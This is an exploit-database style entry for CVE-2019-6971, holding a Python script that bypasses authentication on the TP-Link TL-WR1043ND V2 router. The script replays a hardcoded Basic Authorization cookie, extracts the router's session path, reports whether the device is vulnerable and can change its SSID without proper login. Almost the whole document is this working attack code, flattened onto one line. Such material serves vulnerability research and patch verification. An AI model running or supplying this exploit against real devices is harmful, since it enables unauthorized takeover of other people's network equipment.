TP-Link TL-WR1043ND 2 – Authentication Bypass
# Exploit Title: TP-Link TL-WR1043ND 2 - Authentication Bypass # Date: 2019-06-20 # Exploit Author: Uriel Kosayev # Vendor Homepage: https://www.tp-link.com # Version: TL-WR1043ND V2 # Tested on: TL-WR1043ND V2 # CVE : CVE-2019-6971 # CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-6971 import requests ascii = ''' __________ __ _ __ /_ __/ __ \ / / (_)___ / /__ / / / /_/ /_____/ / / / __ \/ //_/ / / / ____/_____/ /___/ / / / / ,< /_/ /_/ /_____/_/_/ /_/_/|_| ''' print(ascii) Default_Gateway = raw_input("Enter your TP-Link router IP: ") # Constants url = 'http://' url2 = '/userRpm/LoginRpm.htm?Save=Save' full = url + Default_Gateway + url2 # full = str(full) # The full GET request with the cookie authorization hijacked req_header = { 'Host': '{}'.format(Default_Gateway), 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://{}/userRpm/LoginRpm.htm?Save=Save'.format(Default_Gateway), 'Connection': 'close', 'Cookie': '''Authorization=Basic%20QWRtaW5pc3RyYXRvcjpjM2JiNTI5NjdiNjVjYWY4ZWRkMWNiYjg4ZDcwYzYxMQ%3D%3D''', 'Upgrade-Insecure-Requests': '1' } try: response = requests.get(full, headers=req_header).content except requests.exceptions.ConnectionError: print("Enter a valid Default Gateway IP address\nExiting...") exit() generate = response.split('/')[3] # Gets the randomized URL "session ID" option_1 = input("Press 1 to check if your TP-Link router is vulnerable: ") if option_1 is 1: if generate in response: print('Vulnerable!\n') option_2 = input('Press 2 if you want to change the router\'s SSID or any other key to quit: ') if option_2 is 2: newssid = raw_input('New name: ') ssid_url = '/userRpm/WlanNetworkRpm.htm?ssid1={}&ssid2=TP-LINK_660A_2&ssid3=TP-LINK_660A_3&ssid4=TP-LINK_660A_4®ion=43&band=0&mode=5&chanWidth=2&channel=1&rate=83&speedboost=2&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save'.format( newssid) changessid_full = url + Default_Gateway + '/' + generate + ssid_url requests.get(changessid_full, headers=req_header) print('Changed to: {}'.format(newssid)) else: ("Please choose the correct option.\nExiting...") exit() else: print('Not Vulnerable') exit() else: print("Please choose the correct option.\nExiting...") exit() |